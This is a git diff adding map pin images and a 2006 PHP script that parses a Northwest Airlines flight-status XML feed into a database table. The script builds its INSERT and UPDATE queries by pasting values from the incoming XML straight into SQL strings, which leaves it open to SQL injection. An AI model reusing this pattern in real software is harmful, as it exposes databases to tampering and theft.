diff --git a/maps/pins/100.png b/maps/pins/100.png
new file mode 100644 (file)
index 0000000..9c054fe
Binary files /dev/null and b/maps/pins/100.png differ
diff --git a/maps/pins/101.png b/maps/pins/101.png
new file mode 100644 (file)
index 0000000..7d8af29
Binary files /dev/null and b/maps/pins/101.png differ
diff --git a/maps/pins/102.png b/maps/pins/102.png
new file mode 100644 (file)
index 0000000..daa96d0
Binary files /dev/null and b/maps/pins/102.png differ
diff --git a/maps/pins/103.png b/maps/pins/103.png
new file mode 100644 (file)
index 0000000..28a8fd0
Binary files /dev/null and b/maps/pins/103.png differ
diff --git a/maps/pins/104.png b/maps/pins/104.png
new file mode 100644 (file)
index 0000000..cf7bf91
Binary files /dev/null and b/maps/pins/104.png differ
diff --git a/maps/pins/105.png b/maps/pins/105.png
new file mode 100644 (file)
index 0000000..6bac731
Binary files /dev/null and b/maps/pins/105.png differ
diff --git a/maps/pins/106.png b/maps/pins/106.png
new file mode 100644 (file)
index 0000000..bf316ab
Binary files /dev/null and b/maps/pins/106.png differ
diff --git a/maps/pins/107.png b/maps/pins/107.png
new file mode 100644 (file)
index 0000000..56b1b02
Binary files /dev/null and b/maps/pins/107.png differ
diff --git a/maps/pins/108.png b/maps/pins/108.png
new file mode 100644 (file)
index 0000000..7a21a82
Binary files /dev/null and b/maps/pins/108.png differ
diff --git a/maps/pins/109.png b/maps/pins/109.png
new file mode 100644 (file)
index 0000000..c91bde3
Binary files /dev/null and b/maps/pins/109.png differ
diff --git a/maps/pins/110.png b/maps/pins/110.png
new file mode 100644 (file)
index 0000000..8f97162
Binary files /dev/null and b/maps/pins/110.png differ
diff --git a/maps/pins/111.png b/maps/pins/111.png
new file mode 100644 (file)
index 0000000..fa26701
Binary files /dev/null and b/maps/pins/111.png differ
diff --git a/maps/pins/112.png b/maps/pins/112.png
new file mode 100644 (file)
index 0000000..31482a4
Binary files /dev/null and b/maps/pins/112.png differ
diff --git a/maps/pins/113.png b/maps/pins/113.png
new file mode 100644 (file)
index 0000000..3da551b
Binary files /dev/null and b/maps/pins/113.png differ
diff --git a/maps/pins/114.png b/maps/pins/114.png
new file mode 100644 (file)
index 0000000..1d64eef
Binary files /dev/null and b/maps/pins/114.png differ
diff --git a/maps/pins/115.png b/maps/pins/115.png
new file mode 100644 (file)
index 0000000..30fb693
Binary files /dev/null and b/maps/pins/115.png differ
diff --git a/maps/pins/116.png b/maps/pins/116.png
new file mode 100644 (file)
index 0000000..ffb37c8
Binary files /dev/null and b/maps/pins/116.png differ
diff --git a/maps/pins/117.png b/maps/pins/117.png
new file mode 100644 (file)
index 0000000..d1d0c3c
Binary files /dev/null and b/maps/pins/117.png differ
diff --git a/maps/pins/118.png b/maps/pins/118.png
new file mode 100644 (file)
index 0000000..0f90a29
Binary files /dev/null and b/maps/pins/118.png differ
diff --git a/maps/pins/119.png b/maps/pins/119.png
new file mode 100644 (file)
index 0000000..ff29446
Binary files /dev/null and b/maps/pins/119.png differ
diff --git a/maps/pins/120.png b/maps/pins/120.png
new file mode 100644 (file)
index 0000000..f30f77b
Binary files /dev/null and b/maps/pins/120.png differ
diff --git a/maps/pins/121.png b/maps/pins/121.png
new file mode 100644 (file)
index 0000000..383d88e
Binary files /dev/null and b/maps/pins/121.png differ
diff --git a/maps/pins/122.png b/maps/pins/122.png
new file mode 100644 (file)
index 0000000..736c586
Binary files /dev/null and b/maps/pins/122.png differ
diff --git a/maps/pins/123.png b/maps/pins/123.png
new file mode 100644 (file)
index 0000000..0c5b081
Binary files /dev/null and b/maps/pins/123.png differ
diff --git a/maps/pins/124.png b/maps/pins/124.png
new file mode 100644 (file)
index 0000000..a6094f9
Binary files /dev/null and b/maps/pins/124.png differ
diff --git a/maps/pins/125.png b/maps/pins/125.png
new file mode 100644 (file)
index 0000000..4113525
Binary files /dev/null and b/maps/pins/125.png differ
diff --git a/maps/pins/126.png b/maps/pins/126.png
new file mode 100644 (file)
index 0000000..7312306
Binary files /dev/null and b/maps/pins/126.png differ
diff --git a/maps/pins/127.png b/maps/pins/127.png
new file mode 100644 (file)
index 0000000..e907c7d
Binary files /dev/null and b/maps/pins/127.png differ
diff --git a/maps/pins/128.png b/maps/pins/128.png
new file mode 100644 (file)
index 0000000..6fe6ee5
Binary files /dev/null and b/maps/pins/128.png differ
diff --git a/maps/pins/129.png b/maps/pins/129.png
new file mode 100644 (file)
index 0000000..394326c
Binary files /dev/null and b/maps/pins/129.png differ
diff --git a/maps/pins/130.png b/maps/pins/130.png
new file mode 100644 (file)
index 0000000..63092e1
Binary files /dev/null and b/maps/pins/130.png differ
diff --git a/maps/pins/131.png b/maps/pins/131.png
new file mode 100644 (file)
index 0000000..c32d74c
Binary files /dev/null and b/maps/pins/131.png differ
diff --git a/maps/pins/132.png b/maps/pins/132.png
new file mode 100644 (file)
index 0000000..882252d
Binary files /dev/null and b/maps/pins/132.png differ
diff --git a/maps/pins/133.png b/maps/pins/133.png
new file mode 100644 (file)
index 0000000..be3c1f0
Binary files /dev/null and b/maps/pins/133.png differ
diff --git a/maps/pins/134.png b/maps/pins/134.png
new file mode 100644 (file)
index 0000000..6c27542
Binary files /dev/null and b/maps/pins/134.png differ
diff --git a/maps/pins/135.png b/maps/pins/135.png
new file mode 100644 (file)
index 0000000..54290ba
Binary files /dev/null and b/maps/pins/135.png differ
diff --git a/maps/pins/136.png b/maps/pins/136.png
new file mode 100644 (file)
index 0000000..4573070
Binary files /dev/null and b/maps/pins/136.png differ
diff --git a/maps/pins/137.png b/maps/pins/137.png
new file mode 100644 (file)
index 0000000..ed1041e
Binary files /dev/null and b/maps/pins/137.png differ
diff --git a/maps/pins/138.png b/maps/pins/138.png
new file mode 100644 (file)
index 0000000..b8d3024
Binary files /dev/null and b/maps/pins/138.png differ
diff --git a/maps/pins/139.png b/maps/pins/139.png
new file mode 100644 (file)
index 0000000..5d6ec5f
Binary files /dev/null and b/maps/pins/139.png differ
diff --git a/maps/pins/140.png b/maps/pins/140.png
new file mode 100644 (file)
index 0000000..130c2f6
Binary files /dev/null and b/maps/pins/140.png differ
diff --git a/maps/pins/141.png b/maps/pins/141.png
new file mode 100644 (file)
index 0000000..aff5882
Binary files /dev/null and b/maps/pins/141.png differ
diff --git a/maps/pins/142.png b/maps/pins/142.png
new file mode 100644 (file)
index 0000000..f35f2ff
Binary files /dev/null and b/maps/pins/142.png differ
diff --git a/maps/pins/143.png b/maps/pins/143.png
new file mode 100644 (file)
index 0000000..e8de2be
Binary files /dev/null and b/maps/pins/143.png differ
diff --git a/maps/pins/144.png b/maps/pins/144.png
new file mode 100644 (file)
index 0000000..80c4dec
Binary files /dev/null and b/maps/pins/144.png differ
diff --git a/maps/pins/145.png b/maps/pins/145.png
new file mode 100644 (file)
index 0000000..dc13cd8
Binary files /dev/null and b/maps/pins/145.png differ
diff --git a/maps/pins/146.png b/maps/pins/146.png
new file mode 100644 (file)
index 0000000..87ea78e
Binary files /dev/null and b/maps/pins/146.png differ
diff --git a/maps/pins/147.png b/maps/pins/147.png
new file mode 100644 (file)
index 0000000..7d8c28f
Binary files /dev/null and b/maps/pins/147.png differ
diff --git a/maps/pins/148.png b/maps/pins/148.png
new file mode 100644 (file)
index 0000000..b82d16d
Binary files /dev/null and b/maps/pins/148.png differ
diff --git a/maps/pins/149.png b/maps/pins/149.png
new file mode 100644 (file)
index 0000000..bc44244
Binary files /dev/null and b/maps/pins/149.png differ
diff --git a/maps/pins/150.png b/maps/pins/150.png
new file mode 100644 (file)
index 0000000..ff0fee3
Binary files /dev/null and b/maps/pins/150.png differ
diff --git a/maps/pins/151.png b/maps/pins/151.png
new file mode 100644 (file)
index 0000000..9f481e4
Binary files /dev/null and b/maps/pins/151.png differ
diff --git a/maps/pins/152.png b/maps/pins/152.png
new file mode 100644 (file)
index 0000000..fb067cd
Binary files /dev/null and b/maps/pins/152.png differ
diff --git a/maps/pins/153.png b/maps/pins/153.png
new file mode 100644 (file)
index 0000000..5cbd377
Binary files /dev/null and b/maps/pins/153.png differ
diff --git a/maps/pins/154.png b/maps/pins/154.png
new file mode 100644 (file)
index 0000000..2bb2d5a
Binary files /dev/null and b/maps/pins/154.png differ
diff --git a/maps/pins/155.png b/maps/pins/155.png
new file mode 100644 (file)
index 0000000..f680c1d
Binary files /dev/null and b/maps/pins/155.png differ
diff --git a/maps/pins/156.png b/maps/pins/156.png
new file mode 100644 (file)
index 0000000..2c4abef
Binary files /dev/null and b/maps/pins/156.png differ
diff --git a/maps/pins/157.png b/maps/pins/157.png
new file mode 100644 (file)
index 0000000..28a5746
Binary files /dev/null and b/maps/pins/157.png differ
diff --git a/maps/pins/158.png b/maps/pins/158.png
new file mode 100644 (file)
index 0000000..ba1240b
Binary files /dev/null and b/maps/pins/158.png differ
diff --git a/maps/pins/159.png b/maps/pins/159.png
new file mode 100644 (file)
index 0000000..a704572
Binary files /dev/null and b/maps/pins/159.png differ
diff --git a/maps/pins/160.png b/maps/pins/160.png
new file mode 100644 (file)
index 0000000..1c10955
Binary files /dev/null and b/maps/pins/160.png differ
diff --git a/maps/pins/161.png b/maps/pins/161.png
new file mode 100644 (file)
index 0000000..2b4b398
Binary files /dev/null and b/maps/pins/161.png differ
diff --git a/maps/pins/162.png b/maps/pins/162.png
new file mode 100644 (file)
index 0000000..3d0ea5e
Binary files /dev/null and b/maps/pins/162.png differ
diff --git a/maps/pins/163.png b/maps/pins/163.png
new file mode 100644 (file)
index 0000000..368f0b1
Binary files /dev/null and b/maps/pins/163.png differ
diff --git a/maps/pins/164.png b/maps/pins/164.png
new file mode 100644 (file)
index 0000000..3fbb2c4
Binary files /dev/null and b/maps/pins/164.png differ
diff --git a/maps/pins/165.png b/maps/pins/165.png
new file mode 100644 (file)
index 0000000..45e8431
Binary files /dev/null and b/maps/pins/165.png differ
diff --git a/maps/pins/166.png b/maps/pins/166.png
new file mode 100644 (file)
index 0000000..ef5e5ea
Binary files /dev/null and b/maps/pins/166.png differ
diff --git a/maps/pins/167.png b/maps/pins/167.png
new file mode 100644 (file)
index 0000000..3f40667
Binary files /dev/null and b/maps/pins/167.png differ
diff --git a/maps/pins/168.png b/maps/pins/168.png
new file mode 100644 (file)
index 0000000..dac154c
Binary files /dev/null and b/maps/pins/168.png differ
diff --git a/maps/pins/169.png b/maps/pins/169.png
new file mode 100644 (file)
index 0000000..90243ec
Binary files /dev/null and b/maps/pins/169.png differ
diff --git a/maps/pins/170.png b/maps/pins/170.png
new file mode 100644 (file)
index 0000000..d42f2a5
Binary files /dev/null and b/maps/pins/170.png differ
diff --git a/maps/pins/171.png b/maps/pins/171.png
new file mode 100644 (file)
index 0000000..53a65cb
Binary files /dev/null and b/maps/pins/171.png differ
diff --git a/maps/pins/172.png b/maps/pins/172.png
new file mode 100644 (file)
index 0000000..bfb8d45
Binary files /dev/null and b/maps/pins/172.png differ
diff --git a/maps/pins/173.png b/maps/pins/173.png
new file mode 100644 (file)
index 0000000..5845f9e
Binary files /dev/null and b/maps/pins/173.png differ
diff --git a/maps/pins/174.png b/maps/pins/174.png
new file mode 100644 (file)
index 0000000..92d6980
Binary files /dev/null and b/maps/pins/174.png differ
diff --git a/maps/pins/175.png b/maps/pins/175.png
new file mode 100644 (file)
index 0000000..ef6fc80
Binary files /dev/null and b/maps/pins/175.png differ
diff --git a/maps/pins/176.png b/maps/pins/176.png
new file mode 100644 (file)
index 0000000..3b86c64
Binary files /dev/null and b/maps/pins/176.png differ
diff --git a/maps/pins/177.png b/maps/pins/177.png
new file mode 100644 (file)
index 0000000..4451a24
Binary files /dev/null and b/maps/pins/177.png differ
diff --git a/maps/pins/178.png b/maps/pins/178.png
new file mode 100644 (file)
index 0000000..76c2b46
Binary files /dev/null and b/maps/pins/178.png differ
diff --git a/maps/pins/179.png b/maps/pins/179.png
new file mode 100644 (file)
index 0000000..c32f85b
Binary files /dev/null and b/maps/pins/179.png differ
diff --git a/maps/pins/180.png b/maps/pins/180.png
new file mode 100644 (file)
index 0000000..1556f88
Binary files /dev/null and b/maps/pins/180.png differ
diff --git a/maps/pins/181.png b/maps/pins/181.png
new file mode 100644 (file)
index 0000000..b0ccb33
Binary files /dev/null and b/maps/pins/181.png differ
diff --git a/maps/pins/182.png b/maps/pins/182.png
new file mode 100644 (file)
index 0000000..ed1225f
Binary files /dev/null and b/maps/pins/182.png differ
diff --git a/maps/pins/183.png b/maps/pins/183.png
new file mode 100644 (file)
index 0000000..eeeaa7c
Binary files /dev/null and b/maps/pins/183.png differ
diff --git a/maps/pins/184.png b/maps/pins/184.png
new file mode 100644 (file)
index 0000000..a3ef0c4
Binary files /dev/null and b/maps/pins/184.png differ
diff --git a/maps/pins/185.png b/maps/pins/185.png
new file mode 100644 (file)
index 0000000..35569e8
Binary files /dev/null and b/maps/pins/185.png differ
diff --git a/maps/pins/186.png b/maps/pins/186.png
new file mode 100644 (file)
index 0000000..93a850b
Binary files /dev/null and b/maps/pins/186.png differ
diff --git a/maps/pins/187.png b/maps/pins/187.png
new file mode 100644 (file)
index 0000000..1a034e5
Binary files /dev/null and b/maps/pins/187.png differ
diff --git a/maps/pins/188.png b/maps/pins/188.png
new file mode 100644 (file)
index 0000000..36742a5
Binary files /dev/null and b/maps/pins/188.png differ
diff --git a/maps/pins/189.png b/maps/pins/189.png
new file mode 100644 (file)
index 0000000..c350464
Binary files /dev/null and b/maps/pins/189.png differ
diff --git a/maps/pins/190.png b/maps/pins/190.png
new file mode 100644 (file)
index 0000000..7e23c57
Binary files /dev/null and b/maps/pins/190.png differ
diff --git a/maps/pins/191.png b/maps/pins/191.png
new file mode 100644 (file)
index 0000000..5cabef8
Binary files /dev/null and b/maps/pins/191.png differ
diff --git a/maps/pins/192.png b/maps/pins/192.png
new file mode 100644 (file)
index 0000000..4c233e9
Binary files /dev/null and b/maps/pins/192.png differ
diff --git a/maps/pins/193.png b/maps/pins/193.png
new file mode 100644 (file)
index 0000000..2ad185b
Binary files /dev/null and b/maps/pins/193.png differ
diff --git a/maps/pins/194.png b/maps/pins/194.png
new file mode 100644 (file)
index 0000000..cfeee16
Binary files /dev/null and b/maps/pins/194.png differ
diff --git a/maps/pins/195.png b/maps/pins/195.png
new file mode 100644 (file)
index 0000000..baeb518
Binary files /dev/null and b/maps/pins/195.png differ
diff --git a/maps/pins/196.png b/maps/pins/196.png
new file mode 100644 (file)
index 0000000..5b8eb64
Binary files /dev/null and b/maps/pins/196.png differ
diff --git a/maps/pins/197.png b/maps/pins/197.png
new file mode 100644 (file)
index 0000000..8ea914c
Binary files /dev/null and b/maps/pins/197.png differ
diff --git a/maps/pins/198.png b/maps/pins/198.png
new file mode 100644 (file)
index 0000000..a9cfff4
Binary files /dev/null and b/maps/pins/198.png differ
diff --git a/maps/pins/199.png b/maps/pins/199.png
new file mode 100644 (file)
index 0000000..136164c
Binary files /dev/null and b/maps/pins/199.png differ
diff --git a/maps/pins/200.png b/maps/pins/200.png
new file mode 100644 (file)
index 0000000..d6b0587
Binary files /dev/null and b/maps/pins/200.png differ
diff --git a/maps/pins/201.png b/maps/pins/201.png
new file mode 100644 (file)
index 0000000..297f057
Binary files /dev/null and b/maps/pins/201.png differ
diff --git a/maps/pins/202.png b/maps/pins/202.png
new file mode 100644 (file)
index 0000000..7525ed0
Binary files /dev/null and b/maps/pins/202.png differ
diff --git a/maps/pins/203.png b/maps/pins/203.png
new file mode 100644 (file)
index 0000000..1d634de
Binary files /dev/null and b/maps/pins/203.png differ
diff --git a/maps/pins/204.png b/maps/pins/204.png
new file mode 100644 (file)
index 0000000..d77a063
Binary files /dev/null and b/maps/pins/204.png differ
diff --git a/maps/pins/205.png b/maps/pins/205.png
new file mode 100644 (file)
index 0000000..22341dd
Binary files /dev/null and b/maps/pins/205.png differ
diff --git a/maps/pins/206.png b/maps/pins/206.png
new file mode 100644 (file)
index 0000000..f5f3437
Binary files /dev/null and b/maps/pins/206.png differ
diff --git a/maps/pins/207.png b/maps/pins/207.png
new file mode 100644 (file)
index 0000000..fa9dc76
Binary files /dev/null and b/maps/pins/207.png differ
diff --git a/maps/pins/208.png b/maps/pins/208.png
new file mode 100644 (file)
index 0000000..937b218
Binary files /dev/null and b/maps/pins/208.png differ
diff --git a/maps/pins/209.png b/maps/pins/209.png
new file mode 100644 (file)
index 0000000..b1fdf03
Binary files /dev/null and b/maps/pins/209.png differ
diff --git a/maps/pins/210.png b/maps/pins/210.png
new file mode 100644 (file)
index 0000000..270cdec
Binary files /dev/null and b/maps/pins/210.png differ
diff --git a/maps/pins/211.png b/maps/pins/211.png
new file mode 100644 (file)
index 0000000..71e6946
Binary files /dev/null and b/maps/pins/211.png differ
diff --git a/maps/pins/212.png b/maps/pins/212.png
new file mode 100644 (file)
index 0000000..67d0480
Binary files /dev/null and b/maps/pins/212.png differ
diff --git a/maps/pins/213.png b/maps/pins/213.png
new file mode 100644 (file)
index 0000000..d123278
Binary files /dev/null and b/maps/pins/213.png differ
diff --git a/maps/pins/214.png b/maps/pins/214.png
new file mode 100644 (file)
index 0000000..de290b5
Binary files /dev/null and b/maps/pins/214.png differ
diff --git a/maps/pins/215.png b/maps/pins/215.png
new file mode 100644 (file)
index 0000000..1dcdccc
Binary files /dev/null and b/maps/pins/215.png differ
diff --git a/maps/pins/216.png b/maps/pins/216.png
new file mode 100644 (file)
index 0000000..e972dd1
Binary files /dev/null and b/maps/pins/216.png differ
diff --git a/maps/pins/shadow.png b/maps/pins/shadow.png
new file mode 100644 (file)
index 0000000..cc0e630
Binary files /dev/null and b/maps/pins/shadow.png differ
diff --git a/maps/zoom-in.png b/maps/zoom-in.png
new file mode 100755 (executable)
index 0000000..5fa833a
Binary files /dev/null and b/maps/zoom-in.png differ
diff --git a/maps/zoom-out.png b/maps/zoom-out.png
new file mode 100755 (executable)
index 0000000..8a3057e
Binary files /dev/null and b/maps/zoom-out.png differ
diff --git a/nwa_data.phtml b/nwa_data.phtml
new file mode 100644 (file)
index 0000000..a8045f4
--- /dev/null
@@ -0,0 +1,214 @@
+<?
+
+
+/********************************************************************************
+ *
+ *     FILE: nwa_data.phtml - Northwest Airlines Flight Data Processing
+ *
+ *     Copyright (C) 2006 - Gaslight Media - All Rights Reserved
+ *
+ ********************************************************************************/
+
+include( 'siteinfo.inc' );
+include( 'functions.inc' );
+include( 'glm_apps/XML_Support/xml_functions.inc' );
+
+define( 'EXPECTED_NWS_MSG_MAJ_VERSION',                '1' );          // Expected message XML message version from NWA 
+
+echo '<html><head></head><body>Gaslight Media - Northwest Airlines Flight Data Capture<p>';
+       
+
+       // Delete flight data older than yesterday
+
+db_auto_exec( "DELETE FROM flight WHERE msg_dtm < 'yesterday';", SI_CONN_STR, FALSE );
+
+       
+       // Get item data
+       
+function get_nwa_item( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       return( $x );
+       }
+       
+       // Get item data as time and fix up time
+       
+function get_nwa_item_time( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       $x = strtr( $x, "TZ", "  ");
+       return( $x );
+       }
+       
+       // Return a bool item ready for database
+       
+function get_nwa_item_bool( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       if( trim($x) == 'Y' )
+               return( 't' );
+       return( 'f' );
+       }
+       
+function get_nwa_data( $XMLData )
+       {
+               // If there's data
+               
+       if( isset($XMLData) && trim($XMLData) == '' )
+               return( false );
+
+               // Extract XML into an array
+               
+       $d = glm_xml_extract( stripslashes($XMLData) );
+       
+       if( !is_array($d) )
+               return( false );
+
+               // Should have some data now. Check version number
+       if( ($msg_vers_id = get_nwa_item( $d, '/fds_fidspln/msg_hdr/msg_vers_id' )) == ''       || $msg_vers_id < EXPECTED_NWS_MSG_MAJ_VERSION || $msg_vers_id >= EXPECTED_NWS_MSG_MAJ_VERSION + 1      )
+               return( false );                // Wrong major version
+               
+               // Get rest of mesage header
+               
+       $msg_dtm                        = get_nwa_item_time( $d, '/fds_fidspln/msg_hdr/msg_dtm' );                                      // Get message time - UTC
+       $msg_seq_id                     = get_nwa_item( $d, '/fds_fidspln/msg_hdr/msg_seq_id' );                                        // Message sequence #
+       $msg_seq_id = trim($msg_seq_id);
+
+               // Get flight key
+
+       $flt_orig_date          = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/flt_orig_dte' );                     // Flight origination date
+       $flt_airline            = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/al_cde' );                           // Airline ID
+       $flt_airline = trim($flt_airline);
+       $flt_numb                       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/flt_num' );                          // Flight Number
+       $flt_numb = trim($flt_numb);
+       $flt_leg_orig           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_orig_ap_cde' );          // Leg origin Airport code
+       $flt_leg_orig = trim($flt_leg_orig);
+       $flt_leg_dest           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_dest_ap_cde' );          // Leg destination Airport code
+       $flt_leg_dest = trim($flt_leg_dest);
+       $flt_leg_vers           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_orig_vers_num' );        // Leg version number
+
+               // Get flight schedule - Local Times
+               
+       $sch_leg_orig           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_sked/leg_orig_ap_cde' );         // Origination Airport
+       $sch_leg_orig = trim($sch_leg_orig);
+       $sch_leg_dest           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_sked/leg_dest_ap_cde' );         // Destination Airport
+       $sch_leg_dest = trim($sch_leg_dest);
+       $sch_dep_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/out_dtm' );                    // Departure Time
+       $sch_off_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/off_dtm' );                    // Off runway time
+       $sch_on_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/on_dtm' );                     // On runway Time
+       $sch_in_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/in_dtm' );                     // Arrival Time
+       
+               // Get flight OOOI - Local Times ( Out, Off, On, In times) - These are updated times
+               //              Time codes are ?S? (scheduled), ?E? (estimated), ?D? (decision), ?R? (in-range), ?A? (actual)
+               
+       $cur_dep_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/out_dtm' );                    // Departure Time
+       $cur_dep_time_code      = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/out_tme_type_cde' );                //              Time code
+       $cur_dep_time_code = trim($cur_dep_time_code);
+       $cur_off_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/off_dtm' );                    // Off runway time
+       $cur_off_time_code      = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/off_tme_type_cde' );                //              Time code
+       $cur_off_time_code = trim($cur_off_time_code);
+       $cur_on_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/on_dtm' );                     // On runway Time
+       $cur_on_time_code       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/on_tme_type_cde' );         //              Time Code
+       $cur_on_time_code = trim($cur_on_time_code);
+       $cur_in_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/in_dtm' );                     // Arrival Time 
+       $cur_in_time_code       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/in_tme_type_cde' );         //              Time Code
+       $cur_in_time_code = trim($cur_in_time_code);
+       
+               // Get Misc information
+               
+       $delay_code                     = get_nwa_item( $d, '/fds_fidspln/flt_data/delay_cde' );                                        // Delay reason code (if any)
+       $delay_code = trim($delay_code);
+       $depart_gate            = get_nwa_item( $d, '/fds_fidspln/flt_data/dptr_gate' );                                        // Departure gate
+       $depart_gate = trim($depart_gate);
+       $arriv_gate                     = get_nwa_item( $d, '/fds_fidspln/flt_data/arvl_gate' );                                        // Arrival Gate
+       $arriv_gate = trim($arriv_gate);
+       $radio_code                     = get_nwa_item( $d, '/fds_fidspln/flt_data/dlt_radio_cde' );                            // FAA Flight Radio Code
+       $radio_code = trim($radio_code);
+       $aircraft                       = get_nwa_item( $d, '/fds_fidspln/flt_data/ac_num' );                                           // Aircraft number
+       $aircraft = trim($aircraft);
+       $reg_numb                       = get_nwa_item( $d, '/fds_fidspln/flt_data/ac_reg_num' );                                       // Aircraft FAA registration number
+       $reg_numb = trim($reg_numb);
+       $remarks                                = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_rmks' );                                         // Remarks about flight
+       $remarks = trim($remarks);
+       $food_code                      = get_nwa_item( $d, '/fds_fidspln/flt_data/inflt_scv_rmks' );                           // Meal service code
+       $food_code = trim($food_code);
+       $flight_type            = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_typ_cde' );                                      // Flight Type Code (PS=passenger)
+       $flight_type = trim($flight_type);
+
+               // Flight Flags
+               
+       $downline_leg   = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/downline_leg_ind' );            // Downline leg indicator ???
+       $overfly                = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/overfly_ind' );                         // Overfly?
+       $canceled               = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/cncl_ind' );                                    // Canceled?
+       $dep_ontime             = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/sked_dptr_ind' );                       // Depart on schedule?
+       $arriv_ontime   = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/sked_arvl_ind' );                       // Arrive on schedule?
+
+               // Don't show flight type 'Z' - these are training data or other unwanted stuff
+
+       if( $flight_type != 'Z' )
+               {
+
+               if( ($f = db_auto_get_row( "SELECT msg_seq_id FROM flight WHERE flt_orig_date = '$flt_orig_date' AND flt_numb = '$flt_numb';", 0, SI_CONN_STR, FALSE )) == false )
+                       {
+                       db_auto_exec( "INSERT INTO flight 
+                                                       (
+                                                       msg_dtm, msg_seq_id, flt_orig_date, flt_airline, flt_numb, flt_leg_orig, flt_leg_dest, flt_leg_vers,
+                                                       sch_leg_orig, sch_leg_dest, sch_dep_time, sch_off_time, sch_on_time, sch_in_time, cur_dep_time, cur_dep_time_code,
+                                                       cur_off_time    , cur_off_time_code, cur_on_time, cur_on_time_code, cur_in_time, cur_in_time_code, delay_code,
+                                                       depart_gate, arriv_gate, radio_code, aircraft, reg_numb, remarks, food_code, flight_type, downline_leg,
+                                                       overfly, canceled, dep_ontime, arriv_ontime
+                                                       )
+                                               VALUES
+                                                       (
+                                                       '$msg_dtm', '$msg_seq_id', '$flt_orig_date', '$flt_airline', '$flt_numb', '$flt_leg_orig', '$flt_leg_dest', $flt_leg_vers,
+                                                       '$sch_leg_orig', '$sch_leg_dest', '$sch_dep_time', '$sch_off_time', '$sch_on_time', '$sch_in_time', '$cur_dep_time', '$cur_dep_time_code',
+                                                       '$cur_off_time', '$cur_off_time_code', '$cur_on_time', '$cur_on_time_code', '$cur_in_time', '$cur_in_time_code', '$delay_code',
+                                                       '$depart_gate', '$arriv_gate', '$radio_code', '$aircraft', '$reg_numb', '$remarks', '$food_code', '$flight_type', '$downline_leg',
+                                                       '$overfly', '$canceled', '$dep_ontime', '$arriv_ontime'
+                                                       );", SI_CONN_STR, FALSE );
+               
+                       echo "Flight $flt_numb on $flt_orig_date added<br>";
+                       }
+                 else
+                       {
+                       if( $msg_seq_id <= $f['msg_seq_id'] )
+                               echo 'Duplicate message or message out of sequence.<br>';
+                         else
+                               {
+                               db_auto_exec( "UPDATE flight SET 
+                                                       msg_dtm = '$msg_dtm', msg_seq_id = '$msg_seq_id',
+                                                       flt_leg_orig = '$flt_leg_orig', flt_leg_dest = '$flt_leg_dest', flt_leg_vers = $flt_leg_vers, sch_leg_orig = '$sch_leg_orig',
+                                                       sch_leg_dest = '$sch_leg_dest', sch_dep_time = '$sch_dep_time', sch_off_time = '$sch_off_time', sch_on_time = '$sch_on_time', 
+                                                       sch_in_time = '$sch_in_time', cur_dep_time = '$cur_dep_time', cur_dep_time_code = '$cur_dep_time_code', cur_off_time = '$cur_off_time',
+                                                       cur_off_time_code = '$cur_off_time_code', cur_on_time = '$cur_on_time', cur_on_time_code = '$cur_on_time_code', cur_in_time = '$cur_in_time',
+                                                       cur_in_time_code = '$cur_in_time_code', delay_code = '$delay_code', depart_gate = '$depart_gate', arriv_gate = '$arriv_gate', 
+                                                       radio_code = '$radio_code', aircraft = '$aircraft', reg_numb = '$reg_numb', remarks = '$remarks', food_code = '$food_code', flight_type = '$flight_type',
+                                                       downline_leg = '$downline_leg', overfly = '$overfly', canceled = '$canceled', dep_ontime = '$dep_ontime', arriv_ontime = '$arriv_ontime'
+                                                       WHERE flt_orig_date = '$flt_orig_date' AND flt_numb = '$flt_numb';", SI_CONN_STR, FALSE );
+                               echo "Flight $flt_numb on $flt_orig_date updated<br>";
+                               }
+                       }
+
+               } // end of if flight_type != 'Z'               
+       }       
+
+       // Store for analysis
+/*     
+if( ($handle = fopen( '/tmp/nwa_feed', 'a')) ) 
+    {
+    fwrite( $handle, $XMLData."\n\n" );
+    fclose($handle);
+    }   
+*/
+         
+if( trim($XMLData) != '' )
+       get_nwa_data( $XMLData );
+  else
+       echo "No data received.<p>";
+
+echo '</body></html>';
+
+?>
diff --git a/nwa_data.phtml.SAVE b/nwa_data.phtml.SAVE
new file mode 100644 (file)
index 0000000..de88b9a
--- /dev/null
@@ -0,0 +1,173 @@
+<?
+
+
+/********************************************************************************
+ *
+ *     FILE: nwa_data.phtml - Northwest Airlines Flight Data Processing
+ *
+ *     Copyright (C) 2006 - Gaslight Media - All Rights Reserved
+ *
+ ********************************************************************************/
+
+include( 'siteinfo.inc' );
+include( 'functions.inc' );
